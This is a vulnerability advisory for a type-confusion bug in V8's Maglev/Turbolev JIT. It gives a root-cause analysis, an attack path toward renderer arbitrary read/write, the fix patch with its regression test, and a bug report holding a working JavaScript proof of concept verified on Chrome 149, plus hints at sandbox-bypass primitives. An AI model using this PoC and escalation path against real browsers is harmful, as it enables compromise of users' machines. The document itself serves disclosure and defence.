CVE-2026-17725
Overview
Background
- Maglev
- V8’s mid-tier optimizing JIT compiler that builds a graph IR and reasons about object shapes to elide redundant map checks and field loads.
- Map
- V8’s internal descriptor of an object’s hidden class (its shape), used to determine field layout and to validate optimization assumptions.
- `NodeInfo`
- Maglev’s per-node abstract state that records known facts such as
possible_maps(), whetherpossible_maps_are_known(), and whether that map set has gone stale viamaps_are_stale(). - `StoreMap`
- a Maglev IR node that transitions an object to a new map, requiring the compiler to invalidate any cached shape facts about nodes that might alias the stored object.
Root Cause Analysis
When Maglev processes a transitioning StoreMap, it walks the abstract state to invalidate cached map information for other nodes that could alias the object being transitioned. The aliasing check read node_info->possible_maps() whenever possible_maps_are_known() held and the set had exactly one entry, using that single old_map to decide which aliases needed invalidation. However, a NodeInfo whose maps had already been marked stale (maps_are_stale() returning true) still reports possible_maps_are_known(), so the code treated an obsolete, no-longer-authoritative map as ground truth. This caused the alias-invalidation logic to skip objects that in fact aliased the transitioned object, leaving stale shape assumptions in place and enabling a type confusion where a field is accessed with the wrong layout.
The fix adds !node_info->maps_are_stale() to the guard, so a NodeInfo with stale maps is no longer consulted for alias reasoning and the invalidation proceeds conservatively.
NodeInfo’s possible_maps() for alias invalidation while ignoring that the map set was already stale; the fix gates the fast path on !node_info->maps_are_stale() so stale shape facts can no longer misdirect invalidation.Attack Path
- Prime the shapes
Craft two objects that share a hidden class and run a function repeatedly so Maglev caches
possible_maps()facts about the node feeding a laterStoreMap. - Force a transition
Trigger property additions that emit a transitioning
StoreMap, invoking the alias-invalidation walk over the abstract state. - Exploit the stale guard
Because the aliased
NodeInfohasmaps_are_stale()set but still reportspossible_maps_are_known(), the buggyold_mapcomparison wrongly concludes no aliasing and skips invalidation. - Diverge layout Subsequent field loads on the aliasing object use the retained stale map, reading or writing memory at an offset that no longer matches the object’s real layout, producing type confusion.
- Escalate Leverage the confused field access to fabricate object references or corrupt adjacent state, building toward arbitrary read/write in the renderer.
Impact Assessment
NodeInfo participates in StoreMap alias invalidation.Files Changed
src/maglev/maglev-known-node-aspects.cctest/mjsunit/turbolev/regress-528501127.js
Audit Directions
- Stale-vs-known map checksSearch Maglev abstract-state code for uses of
possible_maps()orpossible_maps_are_known()that fail to also testmaps_are_stale()before trusting the map set. - Alias invalidation pathsReview every transitioning-node handler that walks
NodeInfoto invalidate cached shapes and confirm it errs conservatively when facts may be obsolete. - Fast-path single-map assumptionsAudit optimizations that special-case a
possible_maps().size() == 1result, since collapsing to one map can hide the possibility that the underlying fact is no longer authoritative.
Patch
From 9068d5fc068f85d0eb723d9b63f15fb56c6db725 Mon Sep 17 00:00:00 2001 From: Victor Gomes <[email protected]> Date: Mon, 29 Jun 2026 11:15:40 +0200 Subject: [PATCH] [maglev] Skip stale maps in StoreMap alias invalidation Fixed: 528501127 Change-Id: Icce0566468bb46dfd352e05a105646ba3f3b9ad4 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8019002 Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Victor Gomes <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Auto-Submit: Victor Gomes <[email protected]> Cr-Commit-Position: refs/heads/main@{#108302} --- diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc index 84a6666..8deaf24 100644 --- a/src/maglev/maglev-known-node-aspects.cc +++ b/src/maglev/maglev-known-node-aspects.cc @@ -492,7 +492,7 @@ if (!node->is_transitioning()) return; if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) { - if (node_info->possible_maps_are_known() && + if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() && node_info->possible_maps().size() == 1) { compiler::MapRef old_map = node_info->possible_maps().at(0); auto MaybeAliases = [&](compiler::MapRef map) -> bool { diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js new file mode 100644 index 0000000..8a8e17d --- /dev/null +++ b/test/mjsunit/turbolev/regress-528501127.js @@ -0,0 +1,25 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --turbolev + +function f(a, b) { + let tr = (a.w * 1.5) | 0; + a.x = 1.1; + let t1 = b.x; + a.y = 2.2; + let t2 = b.x; + b.z = 3.3; + return tr + t1 + t2; +} +%PrepareFunctionForOptimization(f); +{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); } +%OptimizeFunctionOnNextCall(f); +{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); } + +let o = {w: 0.5}; +f(o, o); +assertEquals("w,x,y,z", Object.keys(o).join(",")); +assertEquals(2.2, o.y); +assertEquals(3.3, o.z);
Regression Test / PoC
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+ let tr = (a.w * 1.5) | 0;
+ a.x = 1.1;
+ let t1 = b.x;
+ a.y = 2.2;
+ let t2 = b.x;
+ b.z = 3.3;
+ return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Original Bug Report
Turbolev: `RecomputeKnownNodeAspectsProcessor` reads stale `possible_maps` across `StoreMap`, eliding a required `CheckMaps` → wrong-map type confusion
Vulnerability Details
Summary
In the Maglev frontend’s post-build optimizer pass,
KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap
(v8/src/maglev/maglev-known-node-aspects.cc:342-371, d096af1c9e) reads
node_info->possible_maps().at(0) at line 347 without checking
node_info->maps_are_stale(). Because RecomputeKnownNodeAspectsProcessor
has no ProcessNode(StoreMap*) overload, the per-node possible_maps is
not updated after a StoreMap, so the value read at line 347 can be the
pre-transition map.
When two consecutive transitioning property stores are emitted for the same
SSA value, the second StoreMap’s alias-invalidation runs the precise-alias
fast path using the wrong old_map, fails to mark stale a separate SSA
value whose feedback is {intermediate_map}, and the subsequent
ProcessCheckMaps removes the CheckMaps the graph builder correctly
emitted for that value. Generated code then accesses the aliasing object
under a sibling map without a deopt guard.
This is reachable from web content under --turbolev, which ships to a
Finch population in M148 (study V8Turbolev). It is not reachable in
the default configuration without that experiment.
Root cause
Two pieces, both in v8/src/maglev/:
(a) Missing processor overload. RecomputeKnownNodeAspectsProcessor
(maglev-kna-processor.h) handles StoreMap via the generic
MarkPossibleSideEffect<StoreMap> path
(maglev-known-node-aspects.h:666,691-692), which calls
ClearUnstableNodeAspectsForStoreMap for alias invalidation but does not
update the stored object’s own possible_maps to the post-transition map.
The graph builder does this via BuildStoreMap’s post-store
SetPossibleMaps; the recompute pass does not mirror it. So after
StoreMap(obj, MapA → MapB)
the recomputed KNA still has obj.possible_maps == {MapA}, and
maps_are_stale() is false (the precise-alias path at :355-360 only marks
other nodes stale, not obj itself).
(b) Stale read in the precise-alias fast path.
ClearUnstableNodeAspectsForStoreMap:
342 void KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap(
343 StoreMap* store_map, ...) {
344 NodeInfo* node_info = TryGetInfoFor(store_map->object_input().node());
345 if (node_info && node_info->possible_maps_are_known() &&
346 node_info->possible_maps().size() == 1) {
347 compiler::MapRef old_map = node_info->possible_maps().at(0); // ← stale
348 compiler::MapRef new_map = store_map->map();
349 // Precise alias invalidation: only nodes whose possible_maps
350 // contains old_map can alias obj.
...
355 for (auto& [node, info] : node_infos_) {
356 if (info.possible_maps().contains(old_map)) {
357 info.SetMapsAreStale();
358 }
359 }
360 return;
361 }
362 // Conservative fallback: mark all unstable maps stale.
...
No maps_are_stale() guard before line 347. With the stale {MapA} from
(a), a second StoreMap(obj, MapB → MapC) reads old_map = MapA, scans for
nodes whose maps contain MapA, and misses any node b with
possible_maps == {MapB} — even though b may alias obj (which actually
has MapB at this program point).
(c) Consequence. ProcessCheckMaps sees b.possible_maps == {MapB},
not stale, matching the CheckMaps(b, {MapB}) the graph builder emitted,
and removes it. After the second transition, obj (== b) has MapC;
generated code stores to b assuming MapB layout with no guard.
Reachability under --turbolev (default-on, no further flags)
Turbolev reuses the Maglev frontend; there is no separate Turboshaft KNA.
RecomputeKnownNodeAspectsProcessor runs via two independent default-on
paths in v8/src/compiler/turboshaft/turbolev-frontend-pipeline.cc:
:303 if (v8_flags.turbolev_non_eager_inlining) { // default TRUE, flag-definitions.h:769
:304 if (!Run<InlinerPhase>()) return {};
→ :176-182 maglev::MaglevInliner(graph).Run()
→ maglev-inlining.cc:151-157 Run() → RunOptimizer()
→ :131-139 RecomputeKnownNodeAspectsProcessor
:306 if (v8_flags.maglev_truncation && ...) { // default TRUE, flag-definitions.h:682
:308 Run<PostOptimizerPhase>(nullptr);
→ :228-247 PostOptimizerPhase
→ :232 maglev::RecomputeKnownNodeAspectsProcessor
CompilationFlags::ForTurbolev() (maglev-compilation-info.h:103-109)
populates is_non_eager_inlining_enabled from
v8_flags.turbolev_non_eager_inlining, so a Turbolev compilation enables
the inliner without --maglev_non_eager_inlining.
The Maglev-tier path (maglev-compiler.cc:112) is gated solely on
v8_flags.maglev_non_eager_inlining (default false, no Chrome-side
enablement) and is not relevant to Turbolev compilations.
--turbolev ships via Finch in M148
| Evidence | Location |
|---|---|
Finch study V8Turbolev, arm Enabled → enable_features: ["V8Flag_turbolev"], all platforms |
testing/variations/fieldtrial_testing_config.json:23935-23961 |
V8Flag_* → --* declaration-free passthrough |
gin/v8_initializer.cc:223,228-267,309-340 (V8FeatureVisitor) |
| WebView allowlisted to receive the feature | android_webview/.../ProductionSupportedFlagList.java:693 |
The in-tree config proves the study and Enabled arm exist; rollout percentage and channel split are server-side.
Version
- V8 14.9.207 (Chrome M148–M149)
- Reproduced on Google Chrome 149.0.7827.155 (Official Build, Linux x64,
revision
07b52360cc15066f987c910ab34dfbcd4a8778d2) - File:line references in this report are to Chromium
d096af1c9e - Affects all platforms covered by the
V8TurbolevFinch study (android, android_webview, chromeos, linux, mac, windows)
Reproduction Case
Execution-verified on Google Chrome 149.0.7827.155 Official Build (V8 14.9.207.29, Linux x64).
Observed (release build, --allow-natives-syntax --turbolev)
opt status bits: 0b101001 (41)
[manually marking <JSFunction f> for optimization to TURBOFAN_JS, kSynchronous]
[compiling method <JSFunction f> (target TURBOFAN_JS), kSynchronous]
[completed compiling <JSFunction f> (target TURBOFAN_JS) - took 0.007, 16.214, 0.367 ms]
before: y=undefined z=undefined
f(o,o) = 2.2
after: y=undefined z=3.3 hasY=false hasZ=true
keys: w,x,z
JSON: {"w":0.5,"x":1.1,"z":3.3}
a.y = 2.2 executed with a === o, but o has no own property y
afterward — the unguarded b.z transitioning store stamped sibling map
{w,x,z} onto a {w,x,y}-layout object, overwriting slot 2. No deopt fired.
Control (same build, --allow-natives-syntax, no --turbolev)
opt status bits: 0b101001 (41)
before: y=undefined z=undefined
f(o,o) = 2.2
after: y=2.2 z=3.3 hasY=true hasZ=true
keys: w,x,y,z
JSON: {"w":0.5,"x":1.1,"y":2.2,"z":3.3}
Correct semantics under classic TurboFan. Same tier, same opt-status; only the pipeline differs.
PoC
// d8 --allow-natives-syntax --turbolev poc.js
function f(a, b) {
let tr = (a.w * 1.5) | 0; // truncation candidate → PostOptimizerPhase runs
a.x = 1.1; // StoreMap #1: {w} → {w,x}
let t1 = b.x; // CheckMaps(b, {w,x})
a.y = 2.2; // StoreMap #2: {w,x} → {w,x,y}
let t2 = b.x; // CheckMaps(b, {w,x}) ← elided by recompute pass
b.z = 3.3; // StoreMap(b, {w,x} → {w,x,z}) — unguarded
return tr + t1 + t2;
}
%PrepareFunctionForOptimization(f);
for (let i = 0; i < 50; i++) {
let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b);
}
%OptimizeFunctionOnNextCall(f);
{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
let o = {w: 0.5};
f(o, o);
print(Object.keys(o).join(","), o.y, o.z);
// --turbolev: "w,x,z undefined 3.3"
// no --turbolev: "w,x,y,z 2.2 3.3"
Security Impact
Wrong-map type confusion in JIT-generated code: a store (or load) executes against an object whose actual map differs from the one the optimizer assumed, with no deopt guard. This is the standard primitive that yields in-cage arbitrary read/write in V8.
A quick note for severity calibration, the same source tree contains two V8-sandbox-weakening primitives that an attacker with cage RW could use as a second stage:
ExternalPointerTable::Set re-tagging (external-pointer-table-inl.h:182)
and CodePointerTable entries carrying no type tag
(code-pointer-table-inl.h:19). I am happy to file those separately if useful.
Suggested Fix
Either of:
-
Guard the fast path. In
ClearUnstableNodeAspectsForStoreMap, add&& !node_info->maps_are_stale()to the condition at lines 345-346, so a stalepossible_mapsfalls through to the conservative path at :362. -
Keep
possible_mapsfresh in the recompute pass. Add aProcessNode(StoreMap*)overload toRecomputeKnownNodeAspectsProcessorthat mirrorsBuildStoreMap’s post-storeSetPossibleMaps(obj, {new_map}), so line 347 reads the correctold_mapfor the secondStoreMap.
(1) is the minimal fix; (2) preserves the precision the fast path is there for.